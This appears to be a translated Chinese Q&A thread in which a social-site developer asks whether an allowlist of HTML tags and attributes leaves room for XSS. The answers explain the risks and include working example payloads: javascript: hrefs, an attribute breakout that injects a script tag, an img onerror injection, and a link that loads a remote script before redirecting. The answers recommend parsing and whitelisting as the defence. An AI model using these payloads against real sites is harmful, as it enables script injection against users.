我正在开发一个社交网站,并希望只允许用户在他们的帖子中使用这些 html 标签和属性:
tags: <img>, <b>, <strong>, <blockquote>, <a>
attributes: 'src', 'alt', 'width', 'height', 'href', 'class'
我想知道是否允许它们中的任何一个都可以为某些 XSS 或其他漏洞打开大门?
我正在开发一个社交网站,并希望只允许用户在他们的帖子中使用这些 html 标签和属性:
tags: <img>, <b>, <strong>, <blockquote>, <a>
attributes: 'src', 'alt', 'width', 'height', 'href', 'class'
我想知道是否允许它们中的任何一个都可以为某些 XSS 或其他漏洞打开大门?
如果您允许用户定义协议,src 属性可能导致 XSS,例如输入 javascript: 而不是 http:
例子:<a src=javascript:alert()>
此外,您应该为用户控制的变量使用正确的输出编码,以便用户无法逃脱属性/标签。例如,如果您有以下标签:
<a href="USER CONTROLLED DATA">
如果没有适当的输出编码,用户可以输入以下数据:
"><script>alert();</script>
这意味着标签将如下所示:
<a href=""><script>alert();</script>">
跨站脚本
即使我们假设您的过滤器工作正常(我不会自动这样做,过滤相当复杂,而且容易出错),这也可能导致 XSS。
因为它还没有被提及:a与未过滤的组合href是不安全的,因为 JavaScript 将被执行。攻击者可以加载远程脚本,然后重定向,使链接充当普通链接:
<a href="javascript:s=document.createElement('script');s.src='http://localhost/s.js';document.body.appendChild(s);window.location='http://www.google.com/'">click</a>
受害者必须实际点击链接,但攻击者可以提供一个有趣的链接或使用 ClickJacking 来实现这一点。
编码
因为您在评论中提到您不使用任何编码,而只是标记过滤:如果您不编码引号,攻击者可以突破当前属性的上下文。例如:
<img src="user_input">
和
user_input = invalid" onerror="alert(1)
造成
<img src="invalid" onerror="alert(1)">
这将由所有浏览器执行。
添加到现有答案:根据您的代码,也可能滥用 class 属性。试想一下,您的 Web 应用程序有一些代码绑定到特定类的任何元素或显示特定行为的任何元素(可以由类设置)。在这种情况下,如果您允许用户在其 HTML 中使用任何类名,则可能会触发此代码。而且由于代码不希望在用户 HTML 定义的上下文中执行,这可能会导致意外结果。
当然,您也可以拥有基于标签或特定属性的代码绑定,这些绑定可能会以与您允许的其他标签和属性类似的方式被滥用。但是对类进行绑定更为常见。
除此之外,不要使用任何类型的正则表达式来过滤不好的东西(就像你打算根据你的评论一样)。如果你真的想让 HTML 像对待任何其他类型的标记一样对待它,即将它解析为内部表单,然后从中创建结果 HTML。当然,您应该检查并可能修改您从用户那里获得的任何属性值,即将类名限制为一些白名单集,清理 URL,正确转义 alt 标签的任何内容,限制宽度和高度的大小(或更好:从图像本身获取这些信息)......你永远不应该试图从用户输入中去除看似不好的东西,因为会有足够的方法绕过这些黑名单。浏览器以创造性的方式解释损坏的 HTML。